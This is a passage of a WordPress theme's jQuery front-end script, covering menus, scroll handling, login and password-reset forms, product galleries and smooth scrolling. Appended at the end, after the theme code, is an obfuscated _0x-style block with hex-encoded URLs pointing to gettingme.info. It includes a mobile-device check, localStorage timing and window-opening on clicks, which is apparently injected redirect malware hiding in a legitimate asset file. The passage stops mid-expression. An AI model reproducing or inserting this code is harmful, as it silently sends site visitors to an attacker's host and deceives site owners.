';
jQuery(self).html(html);
},
error: function (error) {
jQuery(self).html('
' + error + '
');
console.warn('Some problems: ' + error);
}
});
}
});
}
},
enable_diagram: function (content) {
var diagram_el = content.find('.kl-skills-diagram');
if (diagram_el && diagram_el.length) {
diagram_el.each(function (index, el) {
if (typeof diagramElement != 'undefined') {
diagramElement.init(el);
}
});
}
},
enable_services: function (content) {
var elements = content.find('.services_box--boxed');
if (elements && elements.length) {
elements.each(function (index, el) {
var $el = $(el);
var doBoxes = function (el) {
// see how tall the box is and add an extra 30px
el.find('.services_box__list').css('padding-top', el.height() + 30);
};
doBoxes($el);
$(window).on('debouncedresize', function (event) {
doBoxes($el);
});
// If is positioned into a tab, refresh.
var $parentTab = elements.closest('.tabbable');
if ($parentTab.length) {
$parentTab.on('shown.bs.tab', function (event) {
doBoxes($(event.target).attr('href'));
});
}
});
}
},
enable_scrollspy: function (content) {
var fw = this,
url = location.href.replace(/#.*/, ''),
topMenu = $('#main-menu, #site-chaser, .elm-custommenu, #zn-res-menu'),
menuItems = topMenu.find(".main-menu-item > a");
var scrollItems = menuItems.map(function () {
var href = $(this).is('[href]') ? $(this).attr('href').replace(url, '') : '';
var item = $($(this.hash.replace(/([ ;?%&,.+*~\':"!^$[\]()=>|\/@])/g, '\\$1')));
if (item.length) {
return item;
}
});
if (!scrollItems.length) return;
$(window).on('scroll', fw.helpers.debounce(function () {
var fromTop = window.pageYOffset || window.scrollTop || 0,
lastId = false,
the_offset = getTopOffset() - 1,
smaller = 0,
higher = 0;
// console.clear();
scrollItems.each(function (i, el) {
var current_offset = Math.max(0, $(el).offset().top + the_offset);
// console.log({
// 'A': 'Current: ' + current_offset ,
// 'B': "Top Offset: " + $(el).offset().top ,
// 'C': 'Offset: ' + the_offset,
// 'D': 'From Top: ' + fromTop,
// 'G': "Higher: " + higher
// });
if (current_offset <= fromTop && current_offset >= higher) {
smaller = this;
higher = current_offset;
}
});
// Get the id of the current element
var id = smaller && $(smaller).length ? smaller[0].id : "zn_invalid_id";
if (lastId !== id) {
lastId = id;
// Check if the menu has such an item
if (topMenu.find('a[href*="#' + id + '"]').length > 0 && id != 'zn_invalid_id') {
var freshTopMenu = $('#main-menu, #site-chaser, .elm-custommenu, #zn-res-menu');
$('li.active', freshTopMenu).removeClass("current_page_item current-menu-item active");
$('a[href*="#' + id + '"]', freshTopMenu).parent().addClass("current_page_item current-menu-item active");
}
}
}, 50)).trigger('scroll');
},
enable_tooltips: function (content) {
// activate tooltips
var tooltips = content.find('[data-toggle="tooltip"], [data-rel="tooltip"]');
if (tooltips && tooltips.length > 0) {
tooltips.tooltip();
}
},
enable_customMenuDropdown: function (content) {
var ddmenu = content.find('.elm-custommenu--dd');
if (ddmenu.length) {
ddmenu.each(function () {
var $currentMenu = $(this);
var $ddmenu_pick = $currentMenu.find('.elm-custommenu-pick');
$ddmenu_pick.on('click', function (event) {
$currentMenu.toggleClass('is-opened');
});
// Close on click outside
$(document).on('click', function (e) {
if ($currentMenu.hasClass('is-opened')) {
$currentMenu.removeClass('is-opened');
}
});
$currentMenu.on('click', function (event) {
event.stopPropagation();
});
});
}
},
customMenuElm_toggleSubmenus: function (content) {
var tgmenu = content.find('.elm-custommenu-toggleSubmenus .elm-cmlist');
if (tgmenu.length) {
tgmenu.find('.menu-item-has-children > a').on('click', function (e) {
e.preventDefault();
var $el = $(this),
$parent = $el.parent('.menu-item-has-children');
$submenu = $el.next('ul.sub-menu');
if ($submenu.is(':visible')) {
if ($submenu.is(':animated')) return;
$submenu.slideUp({
start: function () {
$parent.removeClass('is-active');
}
});
} else {
if ($submenu.is(':animated')) return;
$submenu.slideDown({
start: function () {
$parent.addClass('is-active');
}
});
}
});
}
},
general_wc_stuff: function (content) {
// Toggle review form in WC product page (tabs)
content.find('.prodpage-style2 #reviews .comment-respond .comment-reply-title, .prodpage-style3 #reviews .comment-respond .comment-reply-title').each(function (index, el) {
$(el).on('click', function () {
$(el).toggleClass('opened-form');
$(el).next('.comment-form').toggleClass('show-form');
});
});
},
init_skill_bars: function (scope) {
var fw = this;
var skillBarContainers = $(scope).find('.skills_wgt');
// Set transitions for main containers
var liElements = $('li', skillBarContainers);
if (liElements && liElements.length > 0) {
// Skill bars
var cssRules = '';
$.each(skillBarContainers, function (i, e) {
var container = $(e),
loaded = false;
var doBars = function () {
var start = 0.2;
var skillBars = $('.skill-bar', container);
$.each(skillBars, function (j, v) {
var element = $(v);
var percentage = element.data('loaded'),
$i = $('.skill-bar-inner', element);
$(container).addClass('started');
/* increment transition step */
start += 0.1;
$i.css('-webkit-transition-delay', start + 's');
$i.css(' transition-delay: ' + start + 's');
$i.css('width', percentage + '%'); // Set the width
});
};
if (!loaded) {
if (fw.helpers.isInViewport(container[0])) {
doBars();
loaded = true;
}
$(window).on('scroll', fw.helpers.debounce(function () {
if (fw.helpers.isInViewport(container[0])) {
doBars();
loaded = true;
}
}, 500));
}
});
}
},
general_stuff: function (content) {
// // Fallback for IE's missing object-fit
if (typeof Modernizr == 'object') {
if (!Modernizr.objectfit) {
$.each(['cover', 'contain'], function (index, el) {
$('.' + el + '-fit-img').each(function () {
var $container = $(this),
imgUrl = $container.prop('src'),
imgClasses = $container.prop('class');
if (imgUrl) {
$container.replaceWith('');
}
});
});
}
}
// Mobile logo
var logo_img = content.find('.site-logo-img');
if (logo_img.length > 0 && logo_img.is('[data-mobile-logo]')) {
var initial_src = logo_img.attr('src');
$(window).on('debouncedresize', function () {
if (window.matchMedia("(max-width: 767px)").matches) {
logo_img.attr('src', logo_img.attr('data-mobile-logo'));
} else {
logo_img.attr('src', initial_src);
}
}).trigger('debouncedresize');
}
// Enable Hidden panel through menu
content.find('.show-top-hidden-panel > .main-menu-link').on('click', function (event) {
event.preventDefault();
$('#sliding_panel').addClass('is-opened');
});
/*
Column Sticky
*/
if (window.matchMedia("(min-width: 992px)").matches) {
var stickyCols = content.find('.znColumnElement-stickyCol[data-sticky-col]');
if (stickyCols.length) {
stickyCols.each(function (index, el) {
if (is_undefined(scrollMagicController)) return;
var $el = $(el),
params = IsJsonString($el.attr("data-sticky-col")) ? JSON.parse($el.attr("data-sticky-col")) : {},
distance = !is_undefined(params.distance) && params.distance !== '' ? params.distance : 100,
offset = !is_undefined(params.offset) && params.offset !== '' ? params.offset : 0;
// apply extra offset (if any)
offset = getTopOffset(offset);
// build scenes
var $scene = new ScrollMagic.Scene({
triggerElement: $el[0],
triggerHook: "onLeave",
duration: distance,
offset: offset
});
$scene.setPin($el[0]);
$scene.addTo(scrollMagicController);
// remove scene if resized to mobile
$(window).on('debouncedresize', function () {
if (window.matchMedia("(max-width: 991px)").matches) {
$scene.removePin(true).enabled(false);
} else {
if (!$scene.enabled()) {
$scene.setPin($el[0]).enabled(true);
}
}
});
});
}
}
},
};
// Helper Functions
function IsJsonString(a) {
try {
JSON.parse(a);
} catch (e) {
return false;
}
return true;
}
function is_null(a) {
return (a === null);
}
function is_undefined(a) {
return (typeof a == 'undefined' || a === null || a === '' || a === 'undefined');
}
function is_number(a) {
return ((a instanceof Number || typeof a == 'number') && !isNaN(a));
}
function is_true(a) {
return (a === true || a === 'true');
}
function is_false(a) {
return (a === false || a === 'false');
}
var getTopOffset = function (offset) {
var theOffset = offset || 0;
if ($('.chaser').length > 0) {
theOffset -= $('.chaser').outerHeight();
}
if ($('#header.header--sticky.header--is-sticked').length > 0) {
theOffset -= $('#header.header--is-sticked').outerHeight();
}
if ($('#header.header--fixed').length > 0) {
theOffset -= $('#header.header--fixed').outerHeight();
}
// Custom Offset
if (typeof ZnThemeAjax.top_offset_tolerance != 'undefined' && ZnThemeAjax.top_offset_tolerance != '') {
theOffset = parseFloat(ZnThemeAjax.top_offset_tolerance);
}
// Must be after
if ($('#wpadminbar').length > 0) {
theOffset -= $('#wpadminbar').outerHeight();
}
// console.log(theOffset)
return theOffset;
};
var dnow = Date.now || function () {
return new Date().getTime();
};
var throttle = function (func, wait, options) {
var timeout, context, args, result;
var previous = 0;
if (!options) options = {};
var later = function () {
previous = options.leading === false ? 0 : dnow();
timeout = null;
result = func.apply(context, args);
if (!timeout) context = args = null;
};
var throttled = function () {
var now = dnow();
if (!previous && options.leading === false) previous = now;
var remaining = wait - (now - previous);
context = this;
args = arguments;
if (remaining <= 0 || remaining > wait) {
if (timeout) {
clearTimeout(timeout);
timeout = null;
}
previous = now;
result = func.apply(context, args);
if (!timeout) context = args = null;
} else if (!timeout && options.trailing !== false) {
timeout = setTimeout(later, remaining);
}
return result;
};
throttled.cancel = function () {
clearTimeout(timeout);
previous = 0;
timeout = context = args = null;
};
return throttled;
};
// Helper vars
var $w = $(window),
$body = $('body'),
hasTouch = (typeof Modernizr == 'object' && Modernizr.touchevents) || false,
hasTouchMobile = hasTouch && window.matchMedia("(max-width: 1024px)").matches,
ua = navigator.userAgent,
isMac = /^Mac/.test(navigator.platform),
is_mobile_ie = -1 !== ua.indexOf("IEMobile"),
is_firefox = -1 !== ua.indexOf("Firefox"),
is_safari = /^((?!chrome|android).)*safari/i.test(ua),
isAtLeastIE11 = !!(ua.match(/Trident/) && !ua.match(/MSIE/)),
isIE11 = !!(ua.match(/Trident/) && ua.match(/rv[ :]11/)),
isIE10 = navigator.userAgent.match("MSIE 10"),
isIE9 = navigator.userAgent.match("MSIE 9"),
is_EDGE = /Edge\/12./i.test(ua),
is_pb = !is_undefined($.ZnPbFactory);
if (is_EDGE) {
$body.addClass('is-edge');
}
if (isIE11) {
$body.addClass('is-ie11');
}
if (is_safari) {
$body.addClass('is-safari');
}
// Init ScrollMagic controller
var scrollMagicController = typeof ScrollMagic !== 'undefined' ? new ScrollMagic.Controller() : undefined;
////// WINDOW LOAD //////
$(window).on('load', function () {
// REMOVE PRELOADER
var preloader = $('#page-loading');
if (preloader.length > 0) {
setTimeout(function () {
preloader.fadeOut("slow", function () {
preloader.remove();
});
}, (typeof window.preloaderDelay != 'undefined' ? window.preloaderDelay : 0));
}
// Ref #1562 - Firefox only
if (is_firefox && window.location.hash.length > 0) {
var hashOffset = $(window.location.hash).offset();
if (typeof hashOffset != 'undefined') {
$('body,html').animate({
scrollTop: getTopOffset(hashOffset.top)
}, 600, 'easeOutCubic');
}
}
});
////// END WINDOW LOAD
$(document).ready(function () {
// Call this on document ready
$.themejs = new $.ZnThemeJs();
// prevent clicking on cart button
// for touch screens
if (hasTouchMobile) {
$('a[href="#"]').on('click', function (e) {
e.preventDefault();
});
}
$('body').bind('added_to_cart', function (evt, ret) {
// console.log( evt );
if (!is_undefined(ret.zn_added_to_cart) && ret.zn_added_to_cart.length > 0) {
var modal = $(ret.zn_added_to_cart);
$('body').append(modal);
// FadeOut and Close the modal after 5 seconds
setTimeout(function () {
$(modal).fadeOut('fast', 'easeInOutExpo', function () {
$(this).remove();
});
}, 3000);
$(modal).fadeIn('slow', 'easeInOutExpo', function () {
modal.find('.kl-addedtocart-close').click(function (e) {
e.preventDefault();
$(modal).fadeOut('fast', 'easeInOutExpo', function () {
$(this).remove();
});
});
});
}
});
// Check if Top Sliding panel is opened and close it on scroll
window.didScroll = false;
$(window).on('scroll', function () {
if (!window.didScroll) {
// Close Sliding panel when scrolling the page (in sticky header mode)
var sliding_panel = $('.kl-sticky-header #sliding_panel');
if (sliding_panel.hasClass('is-opened')) {
sliding_panel.removeClass('is-opened');
$('#open_sliding_panel').removeClass('is-toggled');
}
window.didScroll = true;
}
});
// LOGIN FORM
var zn_form_login = $('.zn_form_login');
zn_form_login.each(function (index, el) {
$(el).on('submit', function (event) {
event.preventDefault();
var form = $(this),
warning = false,
button = $('.zn_sub_button', this),
values = form.serialize(),
is_login_form = form.hasClass('znhg-ajax-login-form');
button.addClass('zn_blocked');
$('input', form).each(function (i, el) {
var $el = $(el);
if (!$el.val()) {
warning = true;
$el.parent('.form-group').addClass('fg-input-invalid');
} else {
$el.parent('.form-group').removeClass('fg-input-invalid');
}
});
if (warning) {
button.removeClass('zn_blocked');
return false;
}
// Login the user
$.post(zn_do_login.ajaxurl, values, function (response) {
// Re-activate the login button
button.removeClass('zn_blocked');
var result_block = $('.zn_form_login-result', form);
// If the user didn't successfully logged in
if (!response.success) {
result_block.html('
' + response.data.message + '
');
} else {
// Reset the inputs
$('input[type="text"], input[type="password"]', form).val('');
// check to see if we have a message to display
if (response.data.message) {
result_block.html('
' + response.data.message + '
');
}
if (result_block.find('.kl-login-box').length) {
result_block.find('.kl-login-box').magnificPopup({
type: 'inline',
closeBtnInside: true,
showCloseBtn: true,
mainClass: 'mfp-fade mfp-bg-lighter'
});
}
/**
* We need to do some etra work if this is a login form
*/
if (is_login_form) {
// close the login modal
$.magnificPopup.close();
// Redirect the user
if (response.data.redirect_url.length) {
window.location = response.data.redirect_url;
} else {
window.location.reload();
}
}
}
});
});
});
// Logout user
$('.zn-logoutBtn>a').on('click', function (e) {
e.preventDefault();
if (!is_undefined(ZnThemeAjax.logout_url)) {
window.location = ZnThemeAjax.logout_url;
}
});
// LOST PASSWORD
var zn_form_lost_pass = $('.zn_form_lost_pass');
zn_form_lost_pass.on('submit', function () {
event.preventDefault();
var form = $(this),
warning = false,
button = $('.zn_sub_button', this),
values = form.serialize() + '&ajax_login=true';
button.addClass('zn_blocked');
$('input', form).each(function (i, el) {
var $el = $(el);
if (!$el.val()) {
warning = true;
$el.parent('.form-group').addClass('fg-input-invalid');
} else {
$el.parent('.form-group').removeClass('fg-input-invalid');
}
});
if (warning) {
button.removeClass('zn_blocked');
return false;
}
$.ajax({
url: form.attr('action'),
data: values,
type: 'POST',
cache: false,
success: function (resp) {
var data = $(document.createElement('div')).html(resp);
var message;
if ($('#login_error', data).length) {
// We have an error
var error = $('#login_error', data);
$('.zn_form_login-result', form).html(error);
} else if ($('.message', data).length) {
message = $('.message', data);
$('.zn_form_login-result', form).html(message);
} else if ($('.woocommerce-message', data).length) {
message = $('.woocommerce-message', data);
$('.zn_form_login-result', form).html(message);
// console.log('woocommerce message');
} else if ($('.woocommerce-error', data).length) {
message = $('.woocommerce-error', data);
$('.zn_form_login-result', form).html(message);
// console.log('woocommerce message');
} else {
jQuery.magnificPopup.close();
window.location = $('.zn_login_redirect', form).val();
}
button.removeClass('zn_blocked');
},
error: function (jqXHR, textStatus, errorThrown) {
$('.zn_form_login-result', form).html(errorThrown);
}
});
});
(function () {
if ($.isFunction($.fn.wc_product_gallery) && typeof wc_single_product_params !== 'undefined') {
var $galleryContainer = $('.zn-wooGalleryThumbs-summary'),
$dots = $galleryContainer.find('.woocommerce-product-gallery__image'),
flexSliderInstance = $('.zn-wooSlickGallery--productStyle3').data('flexslider');
var flexSliderEnabled = $.isFunction($.fn.flexslider) && wc_single_product_params.flexslider_enabled;
if (!flexSliderEnabled) {
var args = {
flexslider_enabled: false,
zoom_enabled: false,
photoswipe_enabled: typeof PhotoSwipe !== 'undefined' && wc_single_product_params.photoswipe_enabled
};
$galleryContainer.wc_product_gallery(args);
}
if ($dots.length > 0) {
// Allow clicking on the summary thumbnails
$dots.on('click', function (e) {
if (typeof flexSliderInstance !== 'undefined') {
e.preventDefault();
e.stopPropagation();
// Set active classes
$dots.removeClass('slick-active');
$(this).addClass('slick-active');
// Change the active slide
var index = $(this).index();
flexSliderInstance.flexAnimate(index + 1);
}
});
}
}
})();
// --- search panel
var searchBtn = $('#search .searchBtn'),
searchPanel = searchBtn.next(),
searchP = searchBtn.parent();
if (searchBtn && searchBtn.length > 0) {
searchBtn.on('click', function (e) {
e.preventDefault();
var self = $(this);
var target = $('span:first-child', self);
if (!self.hasClass('active')) {
self.addClass('active');
target.toggleClass('glyphicon-remove');
searchPanel.addClass('panel-opened');
} else {
self.removeClass('active');
target.toggleClass('glyphicon-remove');
searchPanel.removeClass('panel-opened');
}
});
if (searchP.hasClass('headsearch--def')) {
$(document).click(function (e) {
var searchBtn = $('#search .searchBtn');
searchBtn.removeClass('active');
searchBtn.next().removeClass('panel-opened');
$('span:first-child', searchBtn).removeClass('glyphicon-remove').addClass('glyphicon-search');
});
}
searchP.click(function (event) {
event.stopPropagation();
});
}
// --- end search panel
/* scroll to top */
var toTop = $("#totop");
if (toTop && toTop.length > 0) {
toTop.on('click', function (e) {
e.preventDefault();
$('body,html').animate({
scrollTop: 0
}, 600, 'easeOutCubic');
});
}
// --- end scroll to top
/* Tonext button - Scrolls to next block (used for fullscreen slider) */
$(".js-tonext-btn").on('click', function (e) {
if (hasTouchMobile) return;
e.preventDefault();
var endof = $(this).attr('data-endof') ? $(this).attr('data-endof') : false,
dest = 0;
if (endof)
dest = $(endof).height() + $(endof).offset().top;
$('html,body').animate({
scrollTop: getTopOffset(dest)
}, 1000, 'easeOutCubic');
});
/**
* Returns the top offset for a specific element considering various elements like WP admin bar or sticky header
*
* @param {target} Dom element that needs to be scrolled to
*/
function znCalculateScrollOffset($target) {
return $target.offset().top + getTopOffset();
}
/**
* will scroll to a specific element on the page.
*
* @param {target} Dom element that needs to be scrolled to
*/
function znAnimateBodyScroll($target) {
var offset = znCalculateScrollOffset($target),
cachedStickyHeader = $.themejs.isHeaderStick;
// Don't animate if we are already there
if (Math.round(jQuery('html,body').scrollTop()) === Math.round(offset)) {
return;
}
$('html,body').stop().animate({
scrollTop: offset
}, {
duration: 1000,
easing: 'easeOutCubic',
step: function () {
if (cachedStickyHeader != $.themejs.isHeaderStick) {
cachedStickyHeader = $.themejs.isHeaderStick;
znAnimateBodyScroll($target);
}
}
});
}
/* Smooth scroll to id */
$("body").on('click', "a[data-target='smoothscroll'][href*='#']:not([href='#']), .main-menu a.main-menu-link[href*='#']:not([href='#']), .nav-with-smooth-scroll a[href*='#']:not([href='#']) ", function (e) {
var url = $(this).attr('href'),
href = url.substring(url.indexOf('#'));
if (typeof href !== 'undefined' && href.indexOf("#") != -1 && $(href).length > 0) {
e.preventDefault();
//go to destination
if ($(href).length) {
znAnimateBodyScroll($(href));
// if supported by the browser we can even update the URL.
if (window.history && window.history.pushState) {
history.pushState("", document.title, href);
}
}
} else {
console.log('Not a valid link');
}
});
/**
* Smoothscroll options
*/
(function () {
if (typeof ZnSmoothScroll != 'undefined') {
if (!hasTouchMobile && !is_mobile_ie && !is_pb) {
var smType = ZnSmoothScroll.type || 'no',
smOptions = {};
smOptions.touchpadSupport = ZnSmoothScroll.touchpadSupport == 'no' ? true : false;
switch (smType) {
// Ultra Fast
case "0.1":
smOptions.animationTime = 150;
smOptions.stepSize = 70;
break;
// Fast
case "0.25":
smOptions.animationTime = 300;
smOptions.stepSize = 70;
break;
// Moderate
case "yes":
smOptions.animationTime = 500;
smOptions.stepSize = 70;
break;
// Slow speed
case "0.75":
smOptions.animationTime = 700;
smOptions.stepSize = 70;
break;
// Super Slow speed
case "1":
smOptions.animationTime = 1000;
smOptions.stepSize = 50;
smOptions.accelerationMax = 1;
break;
// Snail speed
case "1.6":
smOptions.animationTime = 2000;
smOptions.stepSize = 68;
smOptions.accelerationMax = 1;
break;
}
// // Pulse (less tweakable)
// // ratio of "tail" to "acceleration"
// smOptions.pulseAlgorithm = true;
// smOptions.pulseScale = 4;
// smOptions.pulseNormalize = 1;
// // Acceleration
// smOptions.accelerationDelta = 50; // 50
// smOptions.accelerationMax = 1; // 3
SmoothScroll(smOptions);
}
}
})();
/**
* Add a modifier class to an element, upon user defined scrolling target element or number
* @forch Is the point where, upon scrolling, the class modifier is added. Default is "1".
* @targetElementForClass Target element which will have the modifier class. Default is "body".
* @classForVisibleState Modifier class name. Default is "is--visible".
* usage:
*/
$(".js-scroll-event").each(function (index, el) {
var $el = $(el),
targetElementForClass = $el.is('[data-target]') ? $el.attr("data-target") : $el,
classForVisibleState = $el.is('[data-visibleclass]') ? $el.attr("data-visibleclass") : 'is--visible',
classForHiddenState = $el.is('[data-hiddenclass]') ? $el.attr("data-hiddenclass") : '';
var forch = function () {
var f = 1,
dataForch = $el.is('[data-forch]') ? $el.attr('data-forch') : '';
// check if data-forch attribute is added
if (typeof dataForch !== 'undefined' && dataForch !== '') {
if (!isNaN(parseFloat(dataForch)) && isFinite(dataForch)) {
f = parseInt(dataForch);
} else {
var specifiedElement = $(dataForch).first();
if (specifiedElement && specifiedElement.length > 0) {
f = specifiedElement.offset().top;
}
}
}
return f;
};
if (is_undefined(scrollMagicController)) return;
var scene = new ScrollMagic.Scene({
offset: forch()
})
.setClassToggle($(targetElementForClass)[0], classForVisibleState)
.addTo(scrollMagicController);
if (classForHiddenState) {
$(targetElementForClass).addClass(classForHiddenState);
var outscene = new ScrollMagic.Scene({
offset: 0,
duration: forch()
})
.setClassToggle($(targetElementForClass)[0], classForHiddenState)
.addTo(scrollMagicController);
}
});
// Check portfolio content
$.each($('.portfolio-item-desc-inner-compacted'), function (i, el) {
var $el = $(el),
collapseAt = $el.is('[data-collapse-at]') && $el.attr('data-collapse-at') ? $el.attr('data-collapse-at') : 150;
if ($el.outerHeight() < parseInt(collapseAt)) {
$el.parent('.portfolio-item-desc').addClass('no-toggle');
}
});
if (window.matchMedia("(min-width: 992px)").matches) {
// Check portfolio content
$.each($('.portfolio-item-content.affixcontent'), function (i, el) {
var $el = $(el);
var portfolio_page = $el.closest('.hg-portfolio-item');
portfolio_page.imagesLoaded(function () {
if (is_undefined(scrollMagicController)) return;
var duration = portfolio_page.outerHeight() - $el.outerHeight();
var $scene = new ScrollMagic.Scene({
triggerElement: portfolio_page[0],
triggerHook: "onLeave",
duration: duration,
offset: getTopOffset('-30')
});
$scene.setPin($el[0]);
$scene.addTo(scrollMagicController);
$(window).on('debouncedresize', function () {
if (window.matchMedia("(max-width: 991px)").matches) {
$scene.removePin(true).enabled(false);
} else {
if (!$scene.enabled()) {
$scene.setPin($el[0]).enabled(true);
}
}
});
});
});
}
});
// Keep the last tab active
$('a[data-toggle="tab"]').on('shown.bs.tab', function (e) {
var $element = $(e.target).closest('.hg-tabs'),
tabTarget = null,
elementId = null;
// check if the save active tab option is active
if ($element.data('tabs-history') === 1) {
tabTarget = $(this).attr('href');
elementId = $element.attr('id');
if (elementId) {
var savedTabsStore = JSON.parse(localStorage.getItem('znkl_savedTabs')) || {};
savedTabsStore[elementId] = tabTarget
savedTabsStore = JSON.stringify(savedTabsStore)
localStorage.setItem('znkl_savedTabs', savedTabsStore);
}
}
// trigger tab refreshing
var target = $($(e.target).attr('href'));
if (typeof target != 'undefined') {
// trigger event
$(window).trigger('zn_tabs_refresh');
// do slicks
if (target.find('.slick-slider').length) {
target.find('.slick-slider').slick('setPosition');
}
// do isotopes
if (target.find('.isotope-initialized').length) {
target.find('.isotope-initialized').isotope('layout');
}
}
});
// trigger debounced resize on accordions
$(document).on("shown.bs.collapse hidden.bs.collapse", ".collapse", function (e) {
e.stopPropagation();
if (e.type == 'shown') {
// trigger tab refreshing
var target = $($(e.target));
if (typeof target != 'undefined') {
// do slicks
if (target.find('.slick-slider').length) {
target.find('.slick-slider').slick('setPosition');
}
// do isotopes
if (target.find('.isotope-initialized').length) {
target.find('.isotope-initialized').isotope('layout');
}
// trigger event
$(window).trigger('zn_tabs_refresh');
}
}
});
/*--------------------------------------------------------------------------------------------------
Sparkles
--------------------------------------------------------------------------------------------------*/
var Spark = function (sparkles_container) {
this.sparkles_container = $(sparkles_container);
this.s = ["shiny-spark1", "shiny-spark2", "shiny-spark3", "shiny-spark4", "shiny-spark5", "shiny-spark6"];
this.i = this.s[this.random(this.s.length)];
this.n = document.createElement("span");
this.newSpeed().newPoint().display().newPoint().fly();
};
Spark.prototype.display = function () {
$(this.n).attr("class", this.i).css("z-index", this.random(3)).css("top", this.pointY).css("left", this.pointX);
this.sparkles_container.append(this.n);
return this;
};
Spark.prototype.fly = function () {
var a = this;
$(this.n).animate({
top: this.pointY,
left: this.pointX
}, this.speed, "linear", function () {
a.newSpeed().newPoint().fly();
});
};
Spark.prototype.newSpeed = function () {
this.speed = (this.random(10) + 5) * 1100;
return this;
};
Spark.prototype.newPoint = function () {
var parentPos = this.sparkles_container,
parentSlideshow = parentPos.closest('.kl-slideshow'),
parentPh = parentPos.closest('.page-subheader');
if (parentSlideshow.length > 0) {
parentPos = parentSlideshow;
} else if (parentPh.length > 0) {
parentPos = parentPh;
}
this.pointX = this.random(parentPos.width());
this.pointY = this.random(parentPos.height());
return this;
};
Spark.prototype.random = function (a) {
return Math.ceil(Math.random() * a) - 1;
};
})(jQuery);
var klRecaptchaLoaded = false;
var kallyasOnloadCallback = function () {
// Don't run the callback twice. Every callback is called for each script loaded on the page.
if (klRecaptchaLoaded) {
return;
}
klRecaptchaLoaded = true;
jQuery('.kl-recaptcha').each(function () {
grecaptcha.render(jQuery(this).attr('id'), {
'sitekey': jQuery(this).data('sitekey'),
'theme': jQuery(this).data('colorscheme')
});
});
};
if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
var msViewportStyle = document.createElement("style");
msViewportStyle.appendChild(document.createTextNode("@-ms-viewport{width:auto!important}"));
document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
}
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x59\x68\x43\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x57\x49\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x77\x67\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x44\x44\x78\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x67\x41\x34\x63\x394','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4f\x6f\x65\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6c\x77\x59\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x6d\x46\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( 